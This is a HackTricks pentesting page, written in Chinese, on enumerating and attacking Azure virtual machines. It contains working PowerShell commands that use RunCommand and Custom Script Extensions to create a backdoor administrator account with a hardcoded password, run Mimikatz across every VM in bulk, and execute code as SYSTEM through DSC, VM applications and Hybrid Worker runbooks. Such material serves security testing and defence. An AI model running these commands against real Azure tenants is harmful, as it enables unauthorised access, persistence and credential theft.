Az - Virtual Machines & Network

支持 HackTricks

基本信息

来自文档: Azure 虚拟机是 Azure 提供的几种类型的 按需、可扩展计算资源 之一。通常,当您需要对计算环境有比其他选择更多的控制时,您会选择虚拟机。本文提供了在创建虚拟机之前应考虑的信息、如何创建虚拟机以及如何管理虚拟机的信息。

Azure 网络信息

Azure 网络包含 不同的实体和配置方式。 您可以在以下内容中找到不同 Azure 网络实体的简要 描述、 示例枚举 命令:

Azure Bastion

Azure Bastion 提供了一种安全、完全托管的 RDP(远程桌面协议)和 SSH(安全外壳)访问解决方案,通过 Azure 门户通过 SSL 进行访问。它集成在 Azure 虚拟网络中,允许使用私有 IP 进行 RDP 和 SSH 连接到虚拟机,避免了对公共 IP 的需求。这使其成为一种比传统方法更安全、更方便的替代方案,传统方法涉及公共 IP 分配和 NSG 规则配置以访问虚拟机。开发人员和 IT 人员可以通过他们的 Web 浏览器安全地从 Azure 门户访问虚拟机,从而简化了开发和测试环境的过程。

要列出您订阅中的所有 Azure Bastion 主机,您可以使用以下命令:

az network bastion list --query "[].{name:name, resourceGroup:resourceGrou, location:location}" -o table

虚拟机枚举

# Get readable VMs
Get-AzVM | fl
# Lis running VMs
Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | fl *
Get-AzVM -Name <name> -ResourceGroupName <res_group_name> | select -ExpandProperty NetworkProfile

# Get iface and IP address
Get-AzNetworkInterface -Name <interface_name>
Get-AzPublicIpAddress -Name <iface_public_ip_id>

#Get installed extensions
Get-AzVMExtension -ResourceGroupName <res_group_name> -VMName <name>

Get-AzVM | select -ExpandProperty NetworkProfile # Get name of network connector of VM
Get-AzNetworkInterface -Name <name> # Get info of network connector (like IP)

在虚拟机中运行命令

虚拟机中的AAD登录

可以允许通过AzureAD认证的用户访问。例如,尝试访问一个linux VMssh username@azure-corp.com@1.1.1.1(重要的是使用登录时使用的azurecorp的电子邮件),你可能会遇到如下错误:

(username@azure-corp.com@1.1.1.1) This preview capability is not for production use. When you sign in, verify the name of the app on the sign-in screen is "Azure Linux VM Sign-in" and the IP address of the target VM is correct.

To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code DT4PNSTGR to authenticate. Press ENTER when ready.

只需按照这些说明前往 https://microsoft.com/devicelogin 并输入代码,使用电子邮件和密码作为凭据,您将能够通过 SSH 连接(如果该用户具有足够的权限:Virtual Machine Administrator LoginVirtual Machine User Login 角色)。

运行命令

# The permission allowing this is Microsoft.Compute/virtualMachines/runCommand/action
Invoke-AzVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose
## Another way
Invoke-AzureRmVMRunCommand -ScriptPath .\adduser.ps1 -CommandId 'RunPowerShellScript' -VMName 'juastavm' -ResourceGroupName 'Research' –Verbose

# Content of the script
$passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force
New-LocalUser -Name new_user -Password $passwd
Add-LocalGroupMember -Group Administrators -Member new_user
# Try to run in every machine
Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt

运行自定义脚本扩展

Azure 虚拟机 (VM) 扩展是 小型应用程序,用于在 Azure VMs 上提供部署后配置和自动化 任务。例如,如果虚拟机需要软件安装、杀毒保护或在其中运行脚本的能力,您可以使用 VM 扩展。

因此,如果您有权限写入它,您可以执行任意代码:

# Microsoft.Compute/virtualMachines/extensions/write
Set-AzVMExtension -ResourceGroupName "Research" -ExtensionName "ExecCmd" -VMName "infradminsrv" -Location "Germany West Central" -Publisher Microsoft.Compute -ExtensionType CustomScriptExtension -TypeHandlerVersion 1.8 -SettingString '{"commandToExecute":"powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add"}'

DesiredConfigurationState (DSC)

DesiredConfigurationState (DSC) 是一个类似于 Ansible 的 PowerShell 工具,用于通过代码设置主机。DSC 与 Azure 集成,允许上传特定的配置文件。这些文件必须遵循严格的语法。值得注意的是,Azure 中的 DSC 扩展可以执行符合某些格式标准的文件中的命令,即使语法不符合 DSC 标准,如提供的图示所示。

这些命令的执行是通过 Publish-AzVMDscConfiguration 函数在 Az PowerShell 中实现的。要求包括一个定义了函数的 .PS1 文件,并且该文件必须被压缩成 .zip 文件。尽管语法可能不准确,代码仍然会执行。然而,扩展会将执行状态标记为“失败”,并且由于状态被失败消息覆盖,命令的输出将不可见。

VM Application Definitions

VM Application Definitions 允许将版本化的应用程序重复部署到 Azure VM。此资源支持跨 VM 部署和更新应用程序。要设置此功能,需要几个步骤,涉及 Az PowerShell 中的命令,如 New-AzGalleryApplicationNew-AzGalleryApplicationVersion

通过此方法执行应用程序或命令涉及 "VMAppExtension",该扩展在应用程序应用于 VM 时自动安装。扩展从指定的 URI 检索文件,并将其命名为与应用程序完全相同,不带扩展名。为了正确执行文件,REST API 调用中的 "ManageActions" 字段必须配置为使用适当的扩展名重命名文件。此方法的设置完成后,将类似于提供的图示所示的结构。

然而,这种执行方法相对较慢,执行一个应用程序或命令大约需要 3-4 分钟。与此过程相关的文件存储在特定目录中(应用程序副本在 C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Downloads\,执行状态在 C:\Packages\Plugins\Microsoft.CPlat.Core.VMApplicationManagerWindows\1.0.4\Status\)。

这两种技术提供了在 Azure 环境中执行命令和部署应用程序的独特方式,各自具有一套要求、步骤和注意事项。

Hybrid Worker Groups (HWGs) in Azure

Hybrid Worker Groups (HWGs) 是 Azure 中的一项功能,允许在指定 HWG 的 Azure 虚拟机 (VM) 上执行在自动化帐户中配置的 Runbook。此执行通过安装在 VM 上的扩展来实现,该扩展将 Runbook 代码部署到 VM。此过程的一个重要方面是,实际凭据在执行中不是一个因素,因为代码以提升的权限运行,具体为 SYSTEM 或 root,如提供的图示所示。

对于使用 Windows 10 VM 的用户,一个关键细节是必须为 Runbook 指定 PowerShell 版本。应设置为以 PowerShell 版本 5.1 而不是 7.1 运行。此要求源于 PowerShell 7.1 在这些 VM 上不是默认安装的,如果指定版本 7.1,则会导致脚本执行失败。

Azure 的这一功能提供了一种强大的方法,用于在混合环境中自动化和管理任务,允许在 Azure VM 上集中管理和执行任务。

References

Support HackTricks

Last updated